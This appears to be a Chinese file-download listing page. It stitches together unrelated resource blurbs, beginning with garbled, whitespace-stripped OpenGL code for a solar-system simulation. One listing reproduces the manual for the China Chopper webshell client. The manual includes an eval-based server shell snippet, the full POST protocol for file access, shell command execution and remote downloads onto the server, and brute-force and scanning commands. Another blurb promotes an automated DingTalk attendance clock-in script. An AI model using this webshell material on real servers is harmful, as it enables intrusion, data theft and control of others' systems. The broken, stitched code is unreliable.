视点变换,旋转,加速减速,星空背景太阳,光晕各行星纹理#include#include#include#include#include#include#include#pragmacomment(lib,"winmm.lib")#pragmacomment(lib,"wininet")//纹理图像结构typedefstruct{intimgWidth;//纹理宽度intimgHeight;//纹理高度unsignedcharbyteCount;//每个象素对应的字节数,3:24位图,4:带alpha通道的24位图unsignedchar*data;//纹理数据}TEXTUREIMAGE;//BMP文件头#pragmapack(2)typedefstruct{unsignedshortbfType;//文件类型unsignedlongbfSize;//文件大小unsignedshortbfReserved1;//保留位unsignedshortbfReserved2;//保留位unsignedlongbfOffBits;//数据偏移位置}BMPFILEHEADER;#pragmapack()//BMP信息头typedefstruct{unsignedlongbiSize;//此结构大小longbiWidth;//图像宽度longbiHeight;//图像高度unsignedshortbiPlanes;//调色板数量unsignedshortbiBitCount;//每个象素对应的位数,24:24位图,32:带alpha通道的24位图unsignedlongbiCompression;//压缩unsignedlongbiSizeImage;//图像大小longbiXPelsPerMeter;//横向分辨率longbiYPelsPerMeter;//纵向分辨率unsignedlongbiClrUsed;//颜色使用数unsignedlongbiClrImportant;//重要颜色数}BMPINFOHEADER;//定义窗口的标题、宽度、高度、全屏布尔变量#defineWIN_TITLE"模拟太阳系各星球的转动"constintWIN_WIDTH=800;constintWIN_HEIGHT=600;BOOLisFullScreen=FALSE;//初始不为全屏#defineDEG_TO_RAD0.017453floatangle=0.0;staticGLdoubleviewer[]={0,0,0,0,0};//初始化视角GLUquadricObj*quadric;//建立二次曲面对象GLfloatangle_Z;//星空旋转角度boolg_bOrbitOn=true;//控制转动暂停floatg_fSpeedmodifier=1.0f;//时间控制floatg_fElpasedTime;doubleg_dCurrentTime;doubleg_dLastTime;GLfloatLightAmbient[]={1.0f,1.0f,1.0f,0.0f};//环境光参数GLfloatLightDiffuse[]={1.0f,1.0f,1.0f,0.0f};//漫射光参数GLfloatLightPosition[]={0.0f,0.0f,0.0f,1.0f};//光源的位置//纹理图象TEXTUREIMAGEskyImg;TEXTUREIMAGEsunImg;TEXTUREIMAGErayImg;TEXTUREIMAGEmercuImg;TEXTUREIMAGEvenusImg;TEXTUREIMAGEearthImg;TEXTUREIMAGEmarsImg;TEXTUREIMAGEjupiterImg;TEXTUREIMAGEsaturnImg;TEXTUREIMAGEuranusImg;TEXTUREIMAGEneptuneImg;TEXTUREIMAGEmoonImg;GLuinttexture[12];//纹理数组//星球速度定义staticfloatfSunSpin=0.0f;//太阳自转速度staticfloatfMercuSpin=0.0f;//水星自转速度staticfloatfMercuOrbit=0.0f;//水星公转速度staticfloatfVenusSpin=0.0f;//金星自转速度staticfloatfVenusOrbit=0.0f;//金星公转速度staticfloatfEarthSpin=0.0f;//地球自转速度staticfloatfEarthOrbit=0.0f;//地球公转速度staticfloatfMarsSpin=0.0f;//火星自转速度staticfloatfMarsOrbit=0.0f;//火星公转速度staticfloatfJupiterSpin=0.0f;//木星自转速度staticfloatfJupiterOrbit=0.0f;//木星公转速度staticfloatfSaturnSpin=0.0f;//土星自转速度staticfloatfSaturnOrbit=0.0f;//土星公转速度staticfloatfUranusSpin=0.0f;//天王星自转速度staticfloatfUranusOrbit=0.0f;//天王星公转速度staticfloatfNeptuneSpin=0.0f;//海王星自转速度staticfloatfNeptuneOrbit=0.0f;//海王星公转速度staticfloatfMoonSpin=0.0f;//月亮自转速度staticfloatfMoonOrbit=0.0f;//月亮公转速度voidMakeTexture(TEXTUREIMAGEtextureImg,GLuint*texName)//转换为纹理{glPixelStorei(GL_UNPACK_ALIGNMENT,1);//对齐像素字节函数glGenTextures(1,texName);//第一个参数指定表明获取多少个连续的纹理标识符glBindTexture(GL_TEXTURE_2D,*texName);glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_REPEAT);glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_REPEAT);glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);glTexImage2D(GL_TEXTURE_2D,0,GL_RGB,textureImg.imgWidth,textureImg.imgHeight,0,GL_RGB,GL_UNSIGNED_BYTE,textureImg.data);}//初始化OpenGLvoidInitGL(void){glClearColor(0.0f,0.0f,0.0f,0.5f);//设置黑色背景glClearDepth(2.0f);//设置深度缓存glEnable(GL_DEPTH_TEST);//启动深度测试glDepthFunc(GL_LEQUAL);//深度小或相等的时候渲染glShadeModel(GL_SMOOTH);//启动阴影平滑glEnable(GL_CULL_FACE);//开启剔除操作效果glHint(GL_PERSPECTIVE_CORRECTION_HINT,GL_NICEST);//使用质量最好的模式指定颜色和纹理坐标的插值质量glLightfv(GL_LIGHT1,GL_AMBIENT,LightAmbient);//设置环境光glLightfv(GL_LIGHT1,GL_DIFFUSE,LightDiffuse);//设置漫反射光glEnable(GL_LIGHTING);//打开光照glEnable(GL_LIGHT1);//打开光源1//载入纹理glEnable(GL_TEXTURE_2D);//开启2D纹理映射MakeTexture(skyImg,&texture;[0]);MakeTexture(sunImg,&texture;[1]);MakeTexture(rayImg,&texture;[2]);MakeTexture(mercuImg,&texture;[3]);MakeTexture(venusImg,&texture;[4]);MakeTexture(earthImg,&texture;[5]);MakeTexture(marsImg,&texture;[6]);MakeTexture(jupiterImg,&texture;[7]);MakeTexture(saturnImg,&texture;[8]);MakeTexture(uranusImg,&texture;[9]);MakeTexture(neptuneImg,&texture;[10]);MakeTexture(moonImg,&texture;[11]);quadric=gluNewQuadric();//建立一个曲面对象指针gluQuadricTexture(quadric,GLU_TRUE);//建立纹理坐标gluQuadricDrawStyle(quadric,GLU_FILL);//面填充}voidDisplay(void){glLoadIdentity();//设置观察点的位置和观察的方向gluLookAt(viewer[0],viewer[1],viewer[2],viewer[3],viewer[4],-5,0,1,0);//摄像机x,摄像机y,摄像机z,目标点x,目标点y,目标点z,摄像机顶朝向x,摄像机顶朝向y,摄像机顶朝向z//获得系统时间使太阳系有动态效果g_dCurrentTime=timeGetTime();g_fElpasedTime=(float)((g_dCurrentTime-g_dLastTime)*0.0005);g_dLastTime=g_dCurrentTime;glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT);glMatrixMode(GL_MODELVIEW);//指定GL_MODELVIEW是下一个矩阵操作的目标glTranslatef(0.0f,0.0f,-5.0f);//将坐标系移入屏幕5.0fglRotatef(10,1.0f,0.0f,0.0f);//将坐标系绕x轴旋转10度glEnable(GL_LIGHT0);//打开光源0/**********************************绘制背景星空********************************************/glPushMatrix();//当前模型矩阵入栈glTranslatef(-10.0f,3.0f,0.0f);glRotatef(angle_Z,0.0f,0.0f,1.0f);glEnable(GL_TEXTURE_2D);glBindTexture(GL_TEXTURE_2D,texture[0]);//星空纹理glBegin(GL_QUADS);glNormal3f(0.0f,0.0f,1.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(-50.0f,-50.0f,-50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(50.0f,-50.0f,-50.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(50.0f,50.0f,-50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(-50.0f,50.0f,-50.0f);glEnd();glBegin(GL_QUADS);glNormal3f(0.0f,0.0f,-1.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(-50.0f,-50.0f,50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(50.0f,-50.0f,50.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(50.0f,50.0f,50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(-50.0f,50.0f,50.0f);glEnd();glBegin(GL_QUADS);glNormal3f(0.0f,1.0f,0.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(-50.0f,-50.0f,-50.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(50.0f,-50.0f,50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(50.0f,-50.0f,-50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(-50.0f,-50.0f,50.0f);glEnd();glBegin(GL_QUADS);glNormal3f(0.0f,-1.0f,0.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(-50.0f,50.0f,-50.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(50.0f,50.0f,50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(50.0f,50.0f,-50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(-50.0f,50.0f,50.0f);glEnd();glBegin(GL_QUADS);glNormal3f(1.0f,0.0f,0.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(-50.0f,-50.0f,-50.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(-50.0f,50.0f,50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(-50.0f,-50.0f,50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(-50.0f,50.0f,-50.0f);glEnd();glBegin(GL_QUADS);glNormal3f(-1.0f,0.0f,0.0f);glTexCoord2f(6.0f,6.0f);glVertex3f(50.0f,-50.0f,-50.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(50.0f,50.0f,50.0f);glTexCoord2f(6.0f,0.0f);glVertex3f(50.0f,-50.0f,50.0f);glTexCoord2f(0.0f,6.0f);glVertex3f(50.0f,50.0f,-50.0f);glEnd();glPopMatrix();//当前模型矩阵出栈/**********************************绘制太阳************************************************/glBindTexture(GL_TEXTURE_2D,texture[2]);//光晕纹理glEnable(GL_BLEND);//开启混合glDisable(GL_DEPTH_TEST);//关闭深度测试//绘制太阳光晕glDisable(GL_LIGHTING);//关闭光照glBlendFunc(GL_SRC_ALPHA,GL_ONE);//半透明混合函数glColor4f(1.0f,0.5f,0.0f,0.5f);//设置RGBA值glBegin(GL_QUADS);glNormal3f(0.0f,0.0f,1.0f);glTexCoord2f(0.0f,0.0f);glVertex3f(-1.0f,-1.0f,0.0f);glTexCoord2f(1.0f,0.0f);glVertex3f(1.0f,-1.0f,0.0f);glTexCoord2f(1.0f,1.0f);glVertex3f(1.0f,1.0f,0.0f);glTexCoord2f(0.0f,1.0f);glVertex3f(-1.0f,1.0f,0.0f);glEnd();glDisable(GL_BLEND);//关闭混合glEnable(GL_DEPTH_TEST);glEnable(GL_LIGHTING);//开启光照glLightfv(GL_LIGHT1,GL_POSITION,LightPosition);//设置光源1位置glBindTexture(GL_TEXTURE_2D,texture[1]);//太阳纹理//将坐标系绕Y轴旋转fSunSpin角度,控制太阳自转glRotatef(fSunSpin,0.0,1.0,0.0);gluSphere(quadric,0.3f,32,32);//绘制太阳球体/**********************************绘制水星************************************************/glDisable(GL_LIGHT0);glEnable(GL_TEXTURE_2D);//开启纹理glPushMatrix();//当前模型视图矩阵入栈//将坐标系绕Y轴旋转fMercuOrbit角度,控制水星公转glRotatef(fMercuOrbit,0.0f,1.0f,0.0f);glRotatef(-90.0f,1.0f,0.0f,0.0f);//将坐标系绕X轴旋转-90度glTranslatef(0.5f,0.0f,0.0f);//将坐标系右移0.5fglBindTexture(GL_TEXTURE_2D,texture[3]);//水星纹理//将坐标系绕Z轴旋转fMercuSpin角度控制水星自转glRotatef(fMercuSpin,0.0f,0.0f,1.0f);gluSphere(quadric,0.04f,32,32);//水星球体glPopMatrix();//当前模型视图矩阵出栈//绘制轨道glBegin(GL_LINE_LOOP);for(angle=0;angle=-6.0)viewer[0]-=0.5;break;case'u':case'U':if(viewer[1]=-6.0)viewer[1]-=0.1;break;case'+':case'='://加速,减速,暂停g_fSpeedmodifier+=1.0f;glutPostRedisplay();break;case'':g_bOrbitOn=!g_bOrbitOn;glutPostRedisplay();break;case'-'://按'-'减小运行速度g_fSpeedmodifier-=1.0f;glutPostRedisplay();break;caseVK_ESCAPE://按ESC键时退出exit(0);break;default:break;}}voidspecial_keys(ints_keys,intx,inty){switch(s_keys){caseGLUT_KEY_F1://按F1键时切换窗口/全屏模式if(isFullScreen){glutReshapeWindow(WIN_WIDTH,WIN_HEIGHT);glutPositionWindow(30,30);isFullScreen=FALSE;}else{glutFullScreen();isFullScreen=TRUE;}break;caseGLUT_KEY_RIGHT://视角上下左右旋转if(viewer[3]=-3.0)viewer[3]-=0.1;break;caseGLUT_KEY_UP:if(viewer[4]=-4.5)viewer[4]-=0.1;break;default:break;}}voidmouse(intbtn,intstate,intx,inty)//远近视角{if(btn==GLUT_RIGHT_BUTTON&&state==GLUT_DOWN)viewer[2]+=0.3;if(btn==GLUT_LEFT_BUTTON&&state==GLUT_DOWN&&viewer;[2]>=-3.9)viewer[2]-=0.3;}voidLoadBmp(char*filename,TEXTUREIMAGE*textureImg)//载入图片{inti,j;FILE*file;BMPFILEHEADERbmpFile;BMPINFOHEADERbmpInfo;intpixel_size;//初始化纹理数据textureImg->imgWidth=0;textureImg->imgHeight=0;if(textureImg->data!=NULL){delete[]textureImg->data;}//打开文件file=fopen(filename,"rb");if(file==NULL){return;}//获取文件头rewind(file);fread(&bmpFile;,sizeof(BMPFILEHEADER),1,file);fread(&bmpInfo;,sizeof(BMPINFOHEADER),1,file);//验证文件类型if(bmpFile.bfType!=0x4D42){return;}//获取图像色彩数pixel_size=bmpInfo.biBitCount>>3;//读取文件数据textureImg->data=newunsignedchar[bmpInfo.biWidth*bmpInfo.biHeight*pixel_size];for(i=0;idata+(i*bmpInfo.biWidth+j)*pixel_size+2,sizeof(unsignedchar),1,file);//绿色分量fread(textureImg->data+(i*bmpInfo.biWidth+j)*pixel_size+1,sizeof(unsignedchar),1,file);//蓝色分量fread(textureImg->data+(i*bmpInfo.biWidth+j)*pixel_size+0,sizeof(unsignedchar),1,file);//Alpha分量if(pixel_size==4){fread(textureImg->data+(i*bmpInfo.biWidth+j)*pixel_size+3,sizeof(unsignedchar),1,file);}}}//记录图像相关参数textureImg->imgWidth=bmpInfo.biWidth;textureImg->imgHeight=bmpInfo.biHeight;textureImg->byteCount=pixel_size;fclose(file);}//程序主函数voidmain(intargc,char**argv){//读图片LoadBmp("Picture//Sky.bmp",&skyImg;);LoadBmp("Picture//Sun.bmp",&sunImg;);LoadBmp("Picture//Ray.bmp",&rayImg;);LoadBmp("Picture//Mercu.bmp",&mercuImg;);LoadBmp("Picture//Venus.bmp",&venusImg;);//金星LoadBmp("Picture//Earth.bmp",&earthImg;);LoadBmp("Picture//Mars.bmp",&marsImg;);//火星LoadBmp("Picture//Jupiter.bmp",&jupiterImg;);//木星LoadBmp("Picture//Saturn.bmp",&saturnImg;);//土星LoadBmp("Picture//Uranus.bmp",&uranusImg;);//天王星LoadBmp("Picture//Neptune.bmp",&neptuneImg;);//海王星LoadBmp("Picture//Moon.bmp",&moonImg;);glutInit(&argc;,argv);//初始化GLUT库glutInitDisplayMode(GLUT_RGBA|GLUT_DOUBLE|GLUT_DEPTH);//初始化显示模式glutInitWindowSize(WIN_WIDTH,WIN_HEIGHT);//初始化窗口大小glutInitWindowPosition(20,20);//初始化窗口位置GLuintwindow=glutCreateWindow(WIN_TITLE);//建立窗口InitGL();//初始化OpenGLglutDisplayFunc(Display);glutReshapeFunc(Reshape);glutKeyboardFunc(keyboard);glutSpecialFunc(special_keys);glutMouseFunc(mouse);glutIdleFunc(Display);//设置窗口空闲时的处理函数glutMainLoop();//进入事件处理循环}
2025/6/8 20:47:10 3.53MB 三维动画 模拟太阳系
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在win10+WindowsSDK7.1+opencv2.4.13环境使用libfacedetection库对视频流中的人脸进行实时监测。
2025/2/23 6:15:19 5.56MB 人脸检测
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javawebHTML&CSS;知识点Javascript知识点jQuery知识点14Bootstrap知识点17JDBC&配置文件&连接池19Xml文档及解析31反射33Http协议和Tomcat服务器36JavaWeb核心之Servlet41HttpServletResponse46HttpServletRequest51会话技术Cookie&Session;55动态页面技术(JSP/EL/JSTL)59javaEE的开发模式65事务(JDBC)67Json数据格式(重要)70Js原生Ajax和Jquery的Ajax71监听器Listener74邮箱服务器79过滤器Filter
2025/2/2 18:18:39 3.56MB javaweb 详细笔记 java web
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基于ENVI5.3以上版本的S_G滤波工具,将文件放置在对应安装路径下重新打开软件即可使用
2024/12/30 10:51:28 17KB ENVI S_G滤波 ENVI工具
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tomcat服务器部署后,访问遇到跨域问题,资源包含需要的cors-filter-1.7.jarr和java-property-utils-1.9。
测试无误,需要注意的是资源的命名空间为com.thetransactioncompany.cors
2024/12/5 8:54:32 28KB tomcat 跨域 cors-filter CORS
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波分复用(WDM)是当前光纤通信扩容的主要手段。
WDM波分复用器传输的基本元件是光学滤波器,WDM器件按硬件产品的工作原理分类,可分为滤波片式(Filter)、熔融拉锥式(FBT)和阵列波导光栅(AWG)。
本文解析TFF型三端口波分复用器件即Filter-WDM。
2024/11/14 6:13:51 343KB WDM TFF
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产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
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H3C华三SecPath防火墙webdata-filter典型组网
2024/8/6 7:10:01 342KB 华为
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安装了这个Dshow插件之后,在系统中就模拟出一个虚拟的视频采集设备,使用Directshow的枚举视频设备方法能枚举出来。
这个插件输出的图像是一个已知的视频文件解码出来的图像,需要通过一个工具配置输入的视频媒体文件路径,安装包中带着个工具。
2024/7/5 21:02:25 11.84MB Directshow 摄像头 视频采集
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该文档主要是elasticsearch7.x版本的安装及集群配置,配合head,ik插件的安装。
【备注,配置参数更新如下:cluster.name:es-7node.name:t-1network.host:10.96.141.45http.port:9200transport.tcp.port:9301node.master:truenode.data:truebootstrap.memory_lock:truediscovery.seed_hosts:["10.xx.xx.104:9300","10.xx.xx.45:9300","10.xx.xx.45:9301"]discovery.zen.minimum_master_nodes:2bootstrap.system_call_filter:falsecluster.initial_master_nodes:["10.xx.xx104","10.xx.xx.45"]#外网访问http.cors.enabled:truehttp.cors.allow-origin:"*"】
2024/6/22 13:01:09 7KB elasticsearch 集群
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在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡